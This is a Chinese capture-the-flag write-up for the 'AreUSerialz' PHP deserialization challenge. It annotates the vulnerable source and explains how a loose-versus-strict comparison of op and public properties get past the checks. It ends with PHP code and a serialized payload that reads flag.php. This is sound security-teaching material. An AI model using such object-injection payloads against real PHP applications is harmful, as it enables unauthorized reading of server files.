[网鼎杯 2020 青龙组]AreUSerialz
首先代码审计
<?php
//包含了flag.php文件,表明flag存放的位置
include("flag.php");
//显示页面源代码
highlight_file(__FILE__);
//定义FileHandler类
class FileHandler {
//定义三个变量
protected $op;
protected $filename;
protected $content;
//构造函数,创建新的对象时,调用,赋值op为1,filename为/tmp/tmpfile,content为Hello World!,然后执行process函数
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
//进入process函数,判断op值,为1时执行write操作,为2时执行read操作,可以通过设置op值为2,来执行read flag.php的操作
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);//通过调用output函数,输出读取文件的内容
} else {
$this->output("Bad Hacker!");
}
}
//定义write函数
private function write() {//首先要设置了filename、content变量
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {//进行长度比较,限制长度小于100
$this->output("Too long!");
die();
}
//把$this->content的内容写入到$this->filename文件夹中
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");//判断是否写入成功
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//定义读取函数,读取文件内容
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//将读取到的文件内容赋给$res,可以设置filename为flag.php来读取flag内容
}
return $res;
}
//用于输出消息
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
//定义了析构函数,当对象被销毁时调用,
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
//判断输入是否合法
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//限制了输入值的ascii码范围
return false;
return true;
}
//get传入str,如果输入合法,执行反序列化
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先通过str传入序列化后的字符串,经过反序列化函数后会执行__desturct函数判断,判断op值及其函数类型为2时,将op值修改为1,可能因为权限不够等原因写🐎失败,不过可以通过op为2来读取,因为题中include函数告诉我们flag存在flag.php中, 所以我们可以通过反序列化绕过op强判断,直接读取flag.php文件的内容
因为is_valid
函数限制输入的str的字符的ASCII码值的范围为32~125,而protected属性会序列化出来不可见字符
而利用php7.1以上的版本对属性类型不敏感,可以将属性改为public,从而绕过is_valid函数的过滤
<?php
class FileHandler{
public $op = 2;
public $filename = 'flag.php';
public $content = 'Hello YKingH!';
}
$a = new FileHandler();
echo serialize($a);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:13:"Hello YKingH!";}
?>